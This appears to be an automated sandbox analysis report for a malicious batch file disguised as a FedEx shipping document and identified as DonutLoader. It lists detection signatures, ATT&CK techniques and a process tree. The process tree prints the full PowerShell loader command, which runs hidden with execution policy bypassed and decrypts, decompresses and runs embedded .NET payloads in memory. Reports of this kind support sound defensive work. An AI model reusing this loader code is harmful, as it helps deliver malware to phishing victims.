Analysis
- max time kernel
149s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
23/04/2026, 14:03
General
- Target Fedex Shipping Document.bat
- Size 691KB
- Sample260423-rc27hset9n
- SHA256 ae4506ade7e693e10580570cd6a6835138ebc99a9a1aaad36c19aad2a18d5dc0
Malware Config
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Detects DonutLoader 1 IoCs
- Drops startup file 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Program crash 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fedex Shipping Document.bat"1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe"C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function MXXXK($DjliF){ $oGuBQ=New-Object System.IO.MemoryStream(,$DjliF); $rstGy=New-Object System.IO.MemoryStream; $xsRNK=New-Object System.IO.Compression.GZipStream($oGuBQ, [IO.Compression.CompressionMode]::Decompress); $xsRNK.CopyTo($rstGy); $xsRNK.Dispose(); $oGuBQ.Dispose(); $rstGy.Dispose(); $rstGy.ToArray();}function QGRJl($DjliF){ $OoyVM=[System.Security.Cryptography.Aes]::Create(); $OoyVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OoyVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OoyVM.Key=[System.Convert]::FromBase64String('6LW6Av1bkX5Sdemxdz0A7ysusJV0L4le22ZDNqUroC4='); $OoyVM.IV=[System.Convert]::FromBase64String('B/P3gBrU7zPzcqXuslyaZw=='); $WeMee=$OoyVM.CreateDecryptor(); $QRWOs=$WeMee.TransformFinalBlock($DjliF, 0, $DjliF.Length); $WeMee.Dispose(); $OoyVM.Dispose(); $QRWOs;}function Zwlya($DjliF,$zaJLX){ $JJkOl=[System.Reflection.Assembly]::Load([byte[]]$DjliF); $Riocm=$JJkOl.EntryPoint; $Riocm.Invoke($null, $zaJLX);}$Byncu = 'C:\Users\Admin\AppData\Local\Temp\Fedex Shipping Document.bat';$host.UI.RawUI.WindowTitle = $Byncu;$uqbkA=[System.IO.File]::ReadAllText($Byncu).Split([Environment]::NewLine);foreach ($ZKQoB in $uqbkA) { if ($ZKQoB.StartsWith('mPiPdJYjroqCtzilYPrf')) { $pdsDJ=$ZKQoB.Substring(20); break; }}$WMjlM=[string[]]$pdsDJ.Split('\');$CTKUZ=MXXXK (QGRJl ([Convert]::FromBase64String($WMjlM[0].Replace('#', '/').Replace('@', 'A'))));$NMmgT=MXXXK (QGRJl ([Convert]::FromBase64String($WMjlM[1].Replace('#', '/').Replace('@', 'A'))));Zwlya $CTKUZ $null;Zwlya $NMmgT (,[string[]] (''));"2⤵
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8 -s 22403⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8 -s 22683⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 8 -ip 81⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 8 -ip 81⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_z03iyvns.ksf.ps1
memory/8-14-0x0000000005B80000-0x0000000005ED4000-memory.dmp
memory/8-17-0x0000000007A70000-0x00000000080EA000-memory.dmp
memory/8-3-0x0000000005340000-0x0000000005968000-memory.dmp
memory/8-4-0x0000000005210000-0x0000000005232000-memory.dmp
memory/8-5-0x00000000059E0000-0x0000000005A46000-memory.dmp
memory/8-6-0x0000000005A50000-0x0000000005AB6000-memory.dmp
memory/8-1-0x0000000002B80000-0x0000000002BB6000-memory.dmp
memory/8-0-0x0000000002CE0000-0x0000000002CF0000-memory.dmp
memory/8-2-0x0000000002CE0000-0x0000000002CF0000-memory.dmp
memory/8-15-0x00000000060A0000-0x00000000060BE000-memory.dmp
memory/8-16-0x0000000006150000-0x000000000619C000-memory.dmp
memory/8-18-0x0000000006640000-0x000000000665A000-memory.dmp
memory/8-19-0x0000000000DC0000-0x0000000000DC8000-memory.dmp
memory/8-20-0x00000000073F0000-0x0000000007474000-memory.dmp
memory/8-24-0x00000000080F0000-0x00000000090F0000-memory.dmp
memory/8-25-0x0000000000400000-0x0000000000479000-memory.dmp
memory/8-28-0x0000000004FE0000-0x0000000004FE6000-memory.dmp
memory/8-29-0x0000000005110000-0x0000000005197000-memory.dmp